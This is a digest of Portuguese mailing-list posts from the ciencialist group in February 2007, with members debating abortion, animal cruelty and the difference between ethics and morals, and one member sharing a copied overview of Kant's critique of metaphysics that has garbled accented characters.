JR - Homero, sua visão ainda está contaminada de voluntarismo, presunção e
descompromisso com a realidade observada de forma metódica e científica.
Nenhum anti-abortista que eu conheço está se preparando para matar médicos e
mulheres que promovem o aborto. É mais uma apelação de sua parte escrever
isso. Acredito por experiência própria que só o verdadeiro entendimento da
vida e da realidade é que consegue dar convicção a uma pessoa de que é
preciso ter cuidado com suas atitudes, decisões e ações para não
prejudicar - de modo irreversível - nem o próximo, nem a si mesmo.

H - São pessoas sérias, honestas, inteligentes, racionais, sensíveis, etc,
que embora compreendam que é uma questão difícil, não é uma questão simples,
de certo e errado, e não pode ser respondida com base em superstições
ancestrais.
JR - Se não fossem assim eu não estaria me relacionando com elas. São
pessoas que pensam como eu também pensava há algumas reflexões e
entendimentos discernidos nesses últimos 15 anos, quando ainda usava
soluções "simples" para uma questão que nada tem de simples.

H - O médico, ao praticar um aborto, compreende que é um potencial ser
humano, mas um potencial ser humano NÃO é um ser humano pleno. [ ... ]
JR - O que vc entende por ser humano pleno? Só quando ficam visíveis todos
os órgãos? Quando conclui a faculdade? Quando chega a presidência da
empresa? Quando se aposenta? Todos são aspectos diversos do embrião formado
a partir da fecundação.

H - [ ... ] (O médico) Também compreende que, em um mundo ideal, ninguém
ficaria grávida sem desejar, e toda gestação seria plena (embora 8 em cada
10 fecundações NÃO gere um ser humano, com ou sem aborto), mas este NÃO é um
mundo perfeito, e as mulheres ficam grávidas sem desejar, ou com problemas,
ou devido a falhas em métodos anti-concepcionais.
JR - Essa descoberta de que o mundo não é o ideal que cada um tem na cabeça
já é um grande avanço. Se as pesquisas concluem que 80% das fecundações não
vingam, não me serve de justificativa de provocar aborto - conscientemente -
visto que a natureza já "provoca" 80%. É sempre uma luta pela sobrevivência
que o ser tem de enfrentar. Já bastam as dificuldades e impedimentos
naturais.

H - E certamente não é intenção dele "dar fim ao nascituro" (ou bebês
indefesos, como a falácia anti-aborto costuma chamar uma mórula), mas evitar
que a gestação prossiga. Muitos médicos, em clínicas públicas (nos países em
que são permitidas), trabalham de graça para ajudar mulheres sem posses. Sua
motivação é humanitária, da mesma forma como você "acredita" ser a sua
própria.
JR - Homero, vc pintou acima pessoas muito especiais, muito diferente das
que defendem uma solução rápida para uma gravidez não prevista conforme o
figurino. Eu conheço pessoas que trabalham para ajudar mulheres com
dificuldade de ter e criar os filhos por motivos diversos. Vc muda os
vocábulos e acha que mudou o ser humano que está no zigoto, mórula, embrião,
feto, nascituro, bebê, criança, deficiente, adolescente, adulto, enfermo,
velho... São termos que designam o ser humano de um modo mais específico
quanto a sua situação no curso da sua vida, que se inicia na fecundação. É o
mesmo.

H - Em Portugal, seguindo o exemplo de países que, lentamente, se civilizam
e adotam leis mais racionais, o aborto ganhou o plebiscito. Espero que não
demore muito para o Brasil seguir seus passos.
JR - É isso que as pessoas não percebem. Estão muito ocupadas com os seus
problemas e com o seu dia-a-dia e só acordam quando a crueldade bate à
porta. Estirpar um ser humano vivo - somente pelo fato dele não poder se
defender - é a comprovação da crueldade implantada em nossa consciência
pelas falácias, mentiras e palavrório pseudo científico divulgado pelos
abortistas, com justificativas aparentemente inquestionáveis e aceitas por
todos os que prevêm um dia abortar ou já desejam abortar. Claro! Mas nos
chocamos, com toda indignação, com as mortes cruéis e gratuitas transmitida
pela TV, jornais, e tentamos esquecer as mortes que provocamos entre 4
paredes, aprovadas implicitamente pela maioria da população, que não percebe
que está alimentando com seu silêncio a mais nociva cultura de violência
contra os que não são notícias.

H - E não se preocupe, poderá manter os princípios e superstições de sua
crença, e não terá de abortar, se não desejar. Mas será impedido de obrigar
os que NÃO tem as mesmas superstições sobre células fecundadas de agirem
como desejarem.
JR - Não são superstições, Homero. Vc sabe disso: nada é acrescentado à
estrutura genética do ser humano após o evento da fecundação. Ninguém
implanta um ser humano ou uma consciência no embrião para ele nascer um
bebê! Em poucas semanas o que existia nele mas não era ainda visível fica
patente aos nossos olhos. Não dá para se enganar imaginando que ele pode
morre por diversos motivos naturais, por isso mais um motivo - desta vez,
consciente e premeditado - pouco ou nada alteraria...

Um abraço.
Homero

Abraços
José Renato
...............................................

From: "José Renato" <jrma@To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, February 12, 2007 11:21 PM
Subject: Re: [ciencialist] Crueldade com animais


> Olá, Chicão! Quem lhe disse que não pode fazer isso com humanos? Onde está
> afinal a tão propalada liberdade dos cidadãos-contribuintes? O que não
> pode
> é ser visto pelos, digamos, mais sensíveis. Há até os mais bondosos que
> usam
> anestesia para evitar o sofrimento da vítima. Tanto pode que é feito
> diariamente no Brasil e no mundo. Vimos semana passada três rapazes
> arrastando uma criança de seis anos que, presa ao cinto de segurança, ia
> quicando e se esbagaçando no asfalto irregular. Eram jovens de pouca
> instrução e não houve uma intenção específica de fazer aquilo. O que eles
> queriam mesmo era o carro. Mas se eles parassem para soltar o menino do
> cinto seriam presos ou linchados. Entretanto, diariamente, há pessoas
> educadas com nível universitário que, determinadas e conscientemente,
> destroçam de diversas formas fetos ainda no útero materno. Só que ninguém
> vê. Tudo muito bem asseado. No máximo uma cânula e um vaso coletor
> sanguinolentos. Tudo muito civilizado, atendimento de 1° mundo. Apesar de
> nesse caso, tanto a grávida como o médico terem a intenção definida e
> clara
> de dar fim ao nascituro, ambos se consideram justificados por diversos
> motivos. Ela se livra de um "problema" e ele embolsa mais uns trocados
> fácil, fácil. Só dá complicação quando isso é denunciado por
> anti-abortistas
> xiitas sensíveis, documentado, gravado, divulgado. Aí, as pessoas do
> respeitável público ficam chocadas, indignadas, causa comoção nacional,
> atos
> de protestos, mudança da legislação... Mas se não é divulgado, tudo bem! O
> que os olhos dos outros não vêem o que cometi, os corações piedosos nada
> sentem... E assim caminha a humanidade, nos enganando de que essa cultura
> da
> crueldade, mantida em segredo nas nossas atitudes pessoais e decisões
> particulares, só existe vez por outra, quando aparece em fotos chocantes
> nas
> manchetes dos jornais e nas imagens da TV.
>
> []s
>
> José Renato
> ...................................................................
>
> From: "Chicao Valadares" <chicaovaladares@To:
> <ciencialist@yahoogrupos.com.br>
> Sent: Monday, February 12, 2007 10:15 AM
> Subject: Re: [ciencialist] Crueldade com animais
>
>
>> Por que não posso fazer isso com um humano???
>> Minha pergunta é simples mas ninguém responde.
>> Por que será???
> ...................................
>> --- Manuel Bulcão <manuelbulcao@uol.com.br> escreveu:
>>> Olá,
>>>
>>> Vejam o link abaixo. Aconselho que assistam a todo o
>>> vídeo.
>>>
>> http://www.strasbourgcurieux.com/fourrure/portugues.php
>>>
>>> []'s
>>> Manuel Bulcão
>>
>>
>> "O Binômio de Newton é tão belo como a Vênus de Milo.
>> O que há é pouca gente para dar por isso... "
>> Fernando Pessoa - Poesias de Álvaro Campos



SUBJECT: RE: [ciencialist] P/ Oráculo- Re: E ética de cada um...
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/02/2007 23:26

Oráculo, oi!
Vc entendeu perfeitamente e verbalizou melhor ainda o que eu disse!
Estamos entendidos, mas acho que em qualquer caso devemos separar sim.
A ética e a moral são irmãs, mas a ética é mais estável, elevada, universal,
mais indiscutível e consolidada, e sedimentada, pelas vias da moral, muito
mais dinâmica e plástica.
abr/M.


>From: "oraculo333" <oraculo@atibaia.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br
>Subject: [ciencialist] P/ Murilo - Re: E ética de cada um...
>Date: Fri, 16 Feb 2007 01:38:20 -0000
>
>Olá Murilo
>
>Murilo: "Eu juro que há diferença entre a *ética* e a *moral*"
>
>Esta é realmente uma questão muito interessante e complexa. Muitas
>vezes usamos os dois termos com o mesmo sentido, mas muitos filósofos
>e especialistas (mais inteligentes que eu, certamente..:-) pensam que
>se pode separar os dois.
>
>O problema é que existem quase tantas formas de separar os termos
>quanto existem filósofos..:-)
>
>A moral tende realmente a ser mais ligada a "costumes", sendo a ética,
>em geral, tida como mais universal (de forma relativa e não absoluta,
>claro).
>
>Uma forma que me agrada é a separação de alcance dos termos. Moral são
>normas que atingem o próprio individuo, sem efeitos em terceiros.
>Ética seriam normas e regras que atingem a terceiros, que tem efeitos
>além do indivíduo.
>
>Como se vestir (ou não vestir), que partes do corpo cobrir, seria algo
>relacionado a moral. Afeta ao individuo, e nada mais. Assassinato é
>uma questão ética, pois seu efeito atinge terceiros (que podem não
>gostar de serem assassinados..:-)
>
>Outra forma seria estrutural. Moral se refere a norma correta de agir,
>ética a reflexão sobre a norma. Assim, a regra de define o adultério
>como errado é moral. E a reflexão racional sobre o porque é errado
>cometer adultério, uma questão para a ética.
>
>Neste debate, me parece, usamos os termos como sinônimos, ou quase.
>Como estamos querendo determinar se regras ou considerações sobre
>essas regras, podem ser absolutas, universais, ou se sempre dependerão
>de culturas ou contratos sociais, não é preciso separar os termos para
>discutir o assunto.
>
>Um abraço.
>
>Homero
>
>
>
>
>
>##### ##### #####
>
>Página de apoio
>http://www.ciencialist.hpg.ig.com.br
>
>
>##### ##### ##### #####
>Links do Yahoo! Grupos
>
>




SUBJECT: Re: [ciencialist] Ética de cada um...
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 17/02/2007 10:03

Emmanuel Kant foi um dos que mergulhou nas questões morais, sempre em
evidência nas preocupações dos seres humanos auto-denominados
sapiens-sapiens.
Abaixo um texto inicial esclarecedor do site <
http://www.mundodosfilosofos.com.br:80/kant.htm >.
..........................................

[ A Crítica da Razão Pura explica essencialmente porque as metafísicas são
voltadas ao fracasso e porque a razão humana é impotente para conhecer o
fundo das coisas. A moral de Kant é exposta nas obras que se seguem: o
Fundamento da Metafísica dos Costumes (1785) e a Crítica da Razão Prática
(1788). Finalmente, a Crítica do Juízo (1790) trata das noções de beleza (e
da arte) e de finalidade, buscando, desse modo, uma passagem que una o mundo
da natureza, submetido à necessidade, ao mundo moral onde reina a
liberdade. ]
..........................................
Emmanuel Kant - A Ciência e a Metafísica
Vida e Obras

Kant nasceu, estudou, lecionou e morreu em Koenigsberg. Jamais deixou essa
grande cidade da Prússia Oriental, cidade universitária e também centro
comercial muito ativo para onde afluíam homens de nacionalidade diversa:
poloneses, ingleses, holandeses. A vida de Kant foi austera (e regular como
um relógio). Levantava-se às 5 horas da manhã, fosse inverno ou verão,
deitava-se todas as noites às dez horas e seguia o mesmo itinerário para ir
de sua casa à Universidade. Duas circunstâncias fizeram-no perder a hora: a
publicação do Contrato Social de Rosseau, em 1762, e a notícia da vitória
francesa em Valmy, em 1792. Segundo Fichte, Kant foi "a razão pura
encarnada".

Kant sofreu duas influências contraditórias: a influência do pietismo,
protestantismo luterano de tendência mística e pessimista (que põe em relevo
o poder do pecado e a necessidade de regeneração), que foi a religião da mãe
de Kant e de vários de seus mestres, e a influência do racionalismo: o de
Leibnitz, que Wolf ensinara brilhantemente, e o da Aufklärung (a
Universidade de Koenigsberg mantinha relações com a Academia Real de Berlim,
tomada pelas novas idéias). Acrescentemos a literatura de Hume que
"despertou Kant de seu sono dogmático" e a literatura de Russeau, que o
sensibilizou em relação do poder interior da consciência moral.

A primeira obra importante de Kant - assim como uma das últimas, o Ensaio
sobre o mal radical - consagra-o ao problema do mal: o Ensaio para
introduzir em filosofia a noção de grandeza negativa (1763) opõe-se ao
otimismo de Leibnitz, herdeiro do otimismo dos escoláticos, assim como do da
Aufklärung. O mal não é a simples "privatio bone", mas o objeto muito
positivo de uma liberdade malfazeja. Após uma obra em que Kant critica as
ilusões de "visionário" de Swedenborg (que pretende tudo saber sobre o
além), segue-se a Dissertação de 1770, que vale a seu autor a nomeação para
o cargo de professor titular (professor "ordinário", como se diz nas
universidades alemãs).

Nela, Kant distingue o conhecimento sensível (que abrange as instituições
sensíveis) e o conhecimento inteligível (que trata das idéias metafísicas).
Em seguida, surgem as grandes obras da maturidade, onde o criticismo
kantiano é exposto. Em 1781, temos a Crítica da Razão Pura, cuja segunda
edição, em 1787, explicará suas intenções "críticas" (um estudo sobre os
limites do conhecimento). Os prolegômenos a toda metafísica futura (1783)
estão para a Crítica da Razão Pura assim como a Investigação sobre o
entendimento de Hume está para o Tratado da Natureza Humana: uma
simplificação brilhante para o uso de um público mais amplo. A Crítica da
Razão Pura explica essencialmente porque as metafísicas são voltadas ao
fracasso e porque a razão humana é impotente para conhecer o fundo das
coisas. A moral de Kant é exposta nas obras que se seguem: o Fundamento da
Metafísica dos Costumes (1785) e a Crítica da Razão Prática (1788).
Finalmente, a Crítica do Juízo (1790) trata das noções de beleza (e da arte)
e de finalidade, buscando, desse modo, uma passagem que una o mundo da
natureza, submetido à necessidade, ao mundo moral onde reina a liberdade.

Kant encontrara proteção e admiração em Frederico II. Seu sucessor,
Frederico-Guilherme II, menos independente dos meios devotos, inquietou-se
com a obra publicada por Kant em 1793 e que, apesar do título, era
profundamente espiritualista e anti-Aufklärung: A religião nos limites da
simples razão. Ele fez com que Kant se obrigasse a nunca mais escrever sobre
religião, "como súdito fiel de Sua Majestade". Kant, por mais inimigo que
fosse da restrição mental, achou que essa promessa só o obrigaria durante o
reinado desse príncipe! E, após o advento de Frederico-Guilherme III, não
hesitou em tratar, no Conflito das Faculdades (1798), do problema das
relações entre a religião natural e a religião revelada! Dentre suas últimas
obras citamos A doutrina do direito, A doutrina da virtude e seu Ensaio
filosófico sobre a paz perpétua (1795).

A Ciência e a Metafísica

(continua no site < http://www.mundodosfilosofos.com.br:80/kant.htm >)

......................................

[]s

José Renato

.........................................................................

From: "murilo filo" <avalanchedrive@To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, February 16, 2007 10:26 PM
Subject: RE: [ciencialist] P/ Oráculo- Re: E ética de cada um...


> Oráculo, oi!
> Vc entendeu perfeitamente e verbalizou melhor ainda o que eu disse!
> Estamos entendidos, mas acho que em qualquer caso devemos separar sim.
> A ética e a moral são irmãs, mas a ética é mais estável, elevada,
> universal,
> mais indiscutível e consolidada, e sedimentada, pelas vias da moral, muito
> mais dinâmica e plástica.
> abr/M.
>
>
>>From: "oraculo333" <oraculo@atibaia.com.br>
>>Reply-To: ciencialist@yahoogrupos.com.br
>>To: ciencialist@yahoogrupos.com.br
>>Subject: [ciencialist] P/ Murilo - Re: E ética de cada um...
>>Date: Fri, 16 Feb 2007 01:38:20 -0000
>>
>>Olá Murilo
>>
>>Murilo: "Eu juro que há diferença entre a *ética* e a *moral*"
>>
>>Esta é realmente uma questão muito interessante e complexa. Muitas
>>vezes usamos os dois termos com o mesmo sentido, mas muitos filósofos
>>e especialistas (mais inteligentes que eu, certamente..:-) pensam que
>>se pode separar os dois.
>>
>>O problema é que existem quase tantas formas de separar os termos
>>quanto existem filósofos..:-)
>>
>>A moral tende realmente a ser mais ligada a "costumes", sendo a ética,
>>em geral, tida como mais universal (de forma relativa e não absoluta,
>>claro).
>>
>>Uma forma que me agrada é a separação de alcance dos termos. Moral são
>>normas que atingem o próprio individuo, sem efeitos em terceiros.
>>Ética seriam normas e regras que atingem a terceiros, que tem efeitos
>>além do indivíduo.
>>
>>Como se vestir (ou não vestir), que partes do corpo cobrir, seria algo
>>relacionado a moral. Afeta ao individuo, e nada mais. Assassinato é
>>uma questão ética, pois seu efeito atinge terceiros (que podem não
>>gostar de serem assassinados..:-)
>>
>>Outra forma seria estrutural. Moral se refere a norma correta de agir,
>>ética a reflexão sobre a norma. Assim, a regra de define o adultério
>>como errado é moral. E a reflexão racional sobre o porque é errado
>>cometer adultério, uma questão para a ética.
>>
>>Neste debate, me parece, usamos os termos como sinônimos, ou quase.
>>Como estamos querendo determinar se regras ou considerações sobre
>>essas regras, podem ser absolutas, universais, ou se sempre dependerão
>>de culturas ou contratos sociais, não é preciso separar os termos para
>>discutir o assunto.
>>
>>Um abraço.
>>
>>Homero
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SUBJECT: A Ciência e a Metafísica - Emmanuel Kant
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 17/02/2007 10:48

[ A experi�ncia nos fornece a mat�ria de nosso conhecimento, mas � nosso esp�rito que, por um lado, disp�e a experi�ncia em seu quadro espacio-temporal e, por outro, imprime-lhe ordem e coer�ncia por interm�dio de suas categorias. Aquilo a que denominamos experi�ncia n�o � algo que o esp�rito, tal como cera mole, receberia passivamente. � o pr�prio esp�rito que, gra�as �s suas estruturas a priori, constr�i a ordem do universo. Tudo o que nos aparece bem relacionado na natureza, foi relacionado pelo esp�rito humano. � a isto que Kant chama de sua revolu��o copernicana. N�o � o Sol, dissera Cop�rnico, que gira em torno da Terra, mas � esta que gira em torno daquele. O conhecimento, diz Kant, n�o � o reflexo do objeto exterior. � o pr�prio esp�rito humano que constr�i - com os dados do conhecimento sens�vel - o objeto do seu saber. [ ... ] Pretender como Plat�o, Descartes ou Spinoza que a raz�o humana tem intui��es fora e acima do mundo sens�vel, � passar por "vision�rio" e se iludir com quimeras: "A pomba ligeira, que em seu v�o livre fende os ares de cuja resist�ncia se ressente, poderia imaginar que voaria ainda melhor no v�cuo. Foi assim que Plat�o se aventurou nas asas das id�ias, nos espa�os vazios da raz�o pura. N�o se apercebia que, apesar de todos os seus esfor�os, n�o abria nenhum caminho, uma vez que n�o tinha ponto de apoio em que pudesse aplicar suas for�as". ]
.....................................

A Ci�ncia e a Metaf�sica

O m�todo de Kant � a "cr�tica", isto �, a an�lise reflexiva. Consiste em remontar do conhecimento �s condi��es que o tornam eventualmente leg�timo. Em nenhum momento Kant duvida da verdade da f�sica de Newton, assim como do valor das regras morais que sua m�e e seus mestres lhe haviam ensinado. N�o est�o, todos os bons esp�ritos, de acordo quanto � verdade das leis de Newton? Do mesmo modo todos concordam que � preciso ser justo, que a coragem vale mais do que do que a covardia, que n�o se deve mentir, etc... As verdades da ci�ncia newtoniana, assim como as verdades morais, s�o necess�rias (n�o podem n�o ser) e universais (valem para todos os homens e em todos os tempos). Mas, sobre que se fundam tais verdades? Em que condi��es s�o elas racionalmente justificadas? Em compensa��o, as verdades da metaf�sica s�o objeto de incessantes discuss�es. Os maiores pensadores est�o em desacordo quanto �s proposi��es da metaf�sica. Por que esse fracasso?


Os ju�zos rigorosamente verdadeiros, isto �, necess�rios e universais, s�o a priori, isto � independentes dos azares da experi�ncia, sempre particular e contingente. � primeira vista, parece evidente que esses ju�zos a priori s�o ju�zos anal�ticos. Ju�zo anal�tico � aquele cujo predicado est� contido no sujeito. Um tri�ngulo � uma figura de tr�s �ngulos: basta-me analisar a pr�pria defini��o desse termo para diz�-lo. Em compensa��o, os ju�zos sint�ticos, aqueles cujo atributo enriquece o sujeito (por exemplo: esta r�gua � verde), s�o naturalmente a posteriori; s� sei que a r�gua � verde porque a vi. Eis um conhecimento sint�tico a posteirori que nada tem de necess�rio (pois sei que a r�gua poderia n�o ser verde) nem de universal (pois todas as r�guas n�o s�o verdes).


Entretanto, tamb�m existem (este enigma � o ponto de partida de Kant) ju�zos que s�o, ao mesmo tempo, sint�ticos e a priori! Por exemplo:a soma dos �ngulos de um tri�ngulo equivale a dois retos. Eis um ju�zo sint�tico (o valor dessa soma de �ngulos acrescenta algo � id�ia de tri�ngulo) que, no entanto, � a priori. De fato eu n�o tenho necessidade de uma constata��o experimental para conhecer essa propriedade. Tomo conhecimento dela sem ter necessidade de medir os �ngulos com um transferidor. Fa�o-o por interm�dio de uma demonstra��o rigorosa. Tamb�m em f�sica, eu digo que o aquecimento da �gua � a causa necess�ria de sua ebuli��o (se n�o houvesse a� sen�o uma constata��o emp�rica, como acreditou Hume, toda ci�ncia, enquanto verdade necess�ria e universal, estaria anulada). Como se explica que tais ju�zos sint�ticos e a priori sejam poss�veis?


Eu demonstro o valor da soma dos �ngulos do tri�ngulo fazendo uma constru��o no espa�o. Mas por que a demonstra��o se opera t�o bem em minha folha de papel quanto no quadro negro... ou quanto no solo em que S�crates tra�ava figuras geom�tricas para um escravo? � porque o espa�o, assim como o tempo, � um quadro que faz parte da pr�pria estrutura de meu esp�rito. O espa�o e o tempo s�o quadros a priori, necess�rios e universais de minha percep��o (o que Kant mostra na primeira parte da Cr�tica da Raz�o Pura, denominada Est�tica transcendental. Est�tica significa teoria da percep��o, enquanto transcendental significa a priori, isto �, simultaneamente anterior � experi�ncia e condi��o da experi�ncia). O espa�o e o tempo n�o s�o, para mim, aquisi��es da experi�ncia. S�o quadros a priori de meu esp�rito, nos quais a experi�ncia vem se depositar. Eis por que as constru��es espaciais do ge�metra, por mais sint�ticas que sejam, s�o a priori, necess�rias e universais. Mas o caso da f�sica � mais complexo. Aqui, eu falo n�o s� do quadro a priori da experi�ncia, mas, ainda, dos pr�prios fen�menos que nela ocorrem. Para dizer que o calor faz ferver a �gua, � preciso que eu constate. Como, ent�o, os ju�zos do f�sico podem ser a priori, necess�rios e universais?


� porque, responde Kant, as regras, as categorias, pelas quais unificamos os fen�menos esparsos na experi�ncia, s�o exig�ncias a priori do nosso esp�rito. Os fen�menos, eles pr�prios, s�o dados a posteriori, mas o esp�rito possui, antes de toda experi�ncia concreta, uma exig�ncia de unifica��o dos fen�menos entre si, uma exig�ncia de explica��o por meio de causas e efeitos. Essas categorias s�o necess�rias e universais. O pr�prio Hume, ao pretender que o h�bito � a causa de nossa cren�a na causalidade, n�o emprega necessariamente a categoria a priori de causa na cr�tica que nos oferece? "Todas as intui��es sens�veis est�o submetidas �s categorias como �s �nicas condi��es sob as quais a diversidade da intui��o pode unificar-se em uma consci�ncia". Assim sendo, a experi�ncia nos fornece a mat�ria de nosso conhecimento, mas � nosso esp�rito que, por um lado, disp�e a experi�ncia em seu quadro espacio-temporal (o que Kant mostrar� na Est�tica transcendental) e, por outro, imprime-lhe ordem e coer�ncia por interm�dio de suas categorias (o que Kant mostra na Anal�tica transcendental). Aquilo a que denominamos experi�ncia n�o � algo que o esp�rito, tal como cera mole, receberia passivamente. � o pr�prio esp�rito que, gra�as �s suas estruturas a priori, constr�i a ordem do universo. Tudo o que nos aparece bem relacionado na natureza, foi relacionado pelo esp�rito humano. � a isto que Kant chama de sua revolu��o copernicana. N�o � o Sol, dissera Cop�rnico, que gira em torno da Terra, mas � esta que gira em torno daquele. O conhecimento, diz Kant, n�o � o reflexo do objeto exterior. � o pr�prio esp�rito humano que constr�i - com os dados do conhecimento sens�vel - o objeto do seu saber.


Na terceira parte de sua Cr�tica da Raz�o Pura, na dial�tica transcendental, Kant se interroga sobre o valor do conhecimento metaf�sico. As an�lises precedentes, ao fundamentar solidamente o conhecimento, limitam o seu alcance. O que � fundamentado � o conhecimento cient�fico, que se limita a por em ordem, gra�as �s categorias, os materiais que lhe s�o fornecidos pela intui��o sens�vel.


No entanto, diz Kant, � por isso que n�o conhecemos o fundo das coisas. S� conhecemos o mundo refratado atrav�s dos quadros subjetivos do espa�o e do tempo. S� conhecemos os fen�menos e n�o as coisas em si ou noumenos. As �nicas intui��es de que dispomos s�o as intui��es sens�veis. Sem as categorias, as intui��es sens�veis seriam "cegas", isto �, desordenadas e confusas, mas sem as intui��es sens�veis concretas as categorias seriam "vazias", isto �, n�o teriam nada para unificar. Pretender como Plat�o, Descartes ou Spinoza que a raz�o humana tem intui��es fora e acima do mundo sens�vel, � passar por "vision�rio" e se iludir com quimeras: "A pomba ligeira, que em seu v�o livre fende os ares de cuja resist�ncia se ressente, poderia imaginar que voaria ainda melhor no v�cuo. Foi assim que Plat�o se aventurou nas asas das id�ias, nos espa�os vazios da raz�o pura. N�o se apercebia que, apesar de todos os seus esfor�os, n�o abria nenhum caminho, uma vez que n�o tinha ponto de apoio em que pudesse aplicar suas for�as".


Entretanto, a raz�o n�o deixa de construir sistemas metaf�sicos porque sua voca��o pr�pria � buscar unificar incessantemente, mesmo al�m de toda experi�ncia poss�vel. Ela inventa o mito de uma "alma-subst�ncia" porque sup�e realizada a unifica��o completa dos meus estados d'alma no tempo e o mito de um Deus criador porque busca um fundamento do mundo que seja a unifica��o total do que se passa neste mundo... Mas privada de qualquer ponto de apoio na experi�ncia, a raz�o, como louca, perde-se nas antinomias, demonstrando, contr�ria e favoravelmente, tanto a tese quanto a ant�tese (por exemplo: o universo tem um come�o? Sim pois o infinito para tr�s � imposs�vel, da� a necessidade de um ponto de partida. N�o, pois eu sempre posso me perguntar: que havia antes do come�o do universo?). Enquanto o cientista faz um uso leg�timo da causalidade, que ele emprega para unificar fen�menos dados na experi�ncia (aquecimento e ebuli��o), o metaf�sico abusa da causalidade na medida em que se afasta deliberadamente da experi�ncia concreta (quando imagino um Deus como causa do mundo, afasto-me da experi�ncia, pois s� o mundo � objeto de minha experi�ncia). O princ�pio da causalidade, convite � descoberta, n�o deve servir de permiss�o para inventar.

< http://www.mundodosfilosofos.com.br:80/kant.htm >

[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Re: [ciencialist] ética e moral são sinônimos?
FROM: Sérgio <anaximao@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/02/2007 11:14

ola eurico

a tal estatistica eu tirei de observação, veja, eu faço
faculdad de filosofia, e professor nenhum trata moral
diferente de etica

de repente vc pega um filosofo q chama a teoria dele de
etica, e ele traata do particular, e outro filosofo tb cham
de etica e trata no universal

é q nem a questão da estética e da filosofia da arte
elas são a mesmissa coisa, no final das contas

depende do autor


--- "Eurico Ferreira de Souza Jr." <caodejah@yahoo.com.br>
escreveu:

> [E]> moral é um conjunto de regras de foro íntimo,
> construídas pelo
> indivíduo ou herdadas. ética são regras de convivência.
> Moral cada um tem a sua, a ética é coletiva.
>
> p.ex.: fico moralmente abalado ao matar ratos, baratas,
> etc ,
> mas por motivos éticos eu os mato.
>
>
>
> ---- Mensagem original ----
> De: Sérgio <anaximao@yahoo.com.br>
> Para: ciencialist@yahoogrupos.com.br
> Enviadas: Sexta-feira, 16 de Fevereiro de 2007 9:20:15
> Assunto: RE: [ciencialist] P/ Bruna - Re: E ética de cada
> um...
>
>
>
>
>
>
>
>
>
>
>
>
>
> moral é a traducao latina de etica
>
>
>
> nao ha diferenca qto a etimologia da palavra
> [E]> sim. mas isso não autoriza a considerar os dois
> conceitos
> como sinônimos
>
>
>
>
> algumas essoas creem q etica se refere ao particular das
>
> pessoas, enqto a moral se refere ao universal, ao grupo
> [E]> essas algumas pessoas estão erradas e invertem
> o sentido das duas palavras.
>
>
>
>
> mas isso na filosofia nao faz a menor diferença
> [E]> hmmm.... tá errado! não existem sinônimos...
>
>
>
> a maior parte hoje tende a encarar etica e moral como a
>
> mesma coisa
> [E]> d'onde tirou essa estatística?
>
>
>
>
>
> Sérgio
>
>
>
> --- murilo filo <avalanchedrive@ hotmail.com> escreveu:
>
>
>
> > Oráculo, oi.
>
> > Eu juro que há diferença entre a *ética* e a *moral*, e
>
> > pelo menos para mim,
>
> > a *moral* sim é que varia muito com a cultura dos
> povos.
>
> > Felizmente a ética é mais imutável.
>
> > abr/M.
>
> >
>
> >
>
> > >From: "oraculo333" <oraculo@atibaia. com.br>
>
> > >Reply-To: ciencialist@ yahoogrupos. com.br
>
> > >To: ciencialist@ yahoogrupos. com.br
>
> > >Subject: [ciencialist] P/ Bruna - Re: E ética de cada
>
> > um...
>
> > >Date: Fri, 16 Feb 2007 00:39:37 -0000
>
> > >
>
> > >Olá Bruna
>
> > >
>
> > >Bruna: "Entendo, agora...
>
> > > > Ricardo, significa que sua ética depende do lugar
>
> > onde vc estiver."
>
> > >
>
> > >Não, querida, não significa isso. Significa que a
> ética
>
> > varia,
>
> > >dependendo da cultura, não a minha ética, mas a de
> cada
>
> > cultura.
>
> > >
>
> > >Para mim, e tenho certeza para o Ricardo, a ética será
> a
>
> > mesma, esteja
>
> > >eu aqui ou na África. Mas da mesma forma a ética de um
>
> > muçulmano
>
> > >africano será a mesma, e diferente da minha, quer ele
>
> > esteja na
>
> > >África, ou aqui no Brasil.
>
> > >
>
> > >Significa que não há uma ética universal, um certo e
>
> > errado absoluto,
>
> > >que possa ser aceito por todas as culturas e
> indivíduos,
>
> > e que devemos
>
> > >nos esforçar por chegar a acordos, que possam ser
>
> > aplicados de forma
>
> > >mais um menos geral.
>
> > >
>
> > >É isso que significa. Além disso, afirmar que para o
>
> > Ricardo a ética,
>
> > >a dele, varia com o lugar, é uma falácia do
> espantalho:
>
> > uma construção
>
> > >argumentativa que o debatedor NÃO fez, mas que é mais
>
> > fácil de atacar
>
> > >que o argumento que ele realmente apresentou.
>
> > >
>
> > >Um abraço.
>
> > >
>
> > >Homero
>
> > >
>
> > >
>
> > >
>
> > >
>
> > >
>
> > >##### ##### #####
>
> > >
>
> > >Página de apoio
>
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"Aquele que insiste em jamais dizer algo errado deve permanecer em silêncio" Werner Heisenberg

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SUBJECT: Re: [ciencialist] Re: ética e moral são sinônimos?
FROM: Sérgio <anaximao@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/02/2007 11:18

ola takata

pgando o item 10 da morl e o 2 da etic ve-se bem q etica e
moal se entrecruzam

um fala de principioos e outyro fala de regras

não da pra fazer uma separa~ção, ou diferenciação objetiva
das duas esferas

são a mesma coisa



--- rmtakata <roberto.takata@bol.com.br> escreveu:

> Titio Houaiss nos socorre:
>
> --------------
> Moral
> n adjetivo de dois gêneros
> 1 concernente a ou próprio da moral
> 2 pertencente ao domínio do espírito do homem
> 3 orientado pela moral (fil); proveniente dos estudos
> filosóficos
> sobre a moral (fil) Ex.: tratado m.
> 4 que segue princípios socialmente aceitos Ex.: teve um
> comportamento
> m., ético
> 4.1 que denota bons costumes, boa conduta, segundo os
> preceitos
> socialmente estabelecidos pela sociedade ou por
> determinado grupo social
> 4.2 que denota honestidade; correto Ex.: atitude m.
> 4.3 que ensina, educa; edificante Ex.: fábula m.
> n substantivo masculino
> 5 estado de espírito Ex.: as endomorfinas podem
> contribuir para elevar
> o m. dos pacientes
> 5.1 disposição de espírito que uma pessoa apresenta para
> agir com
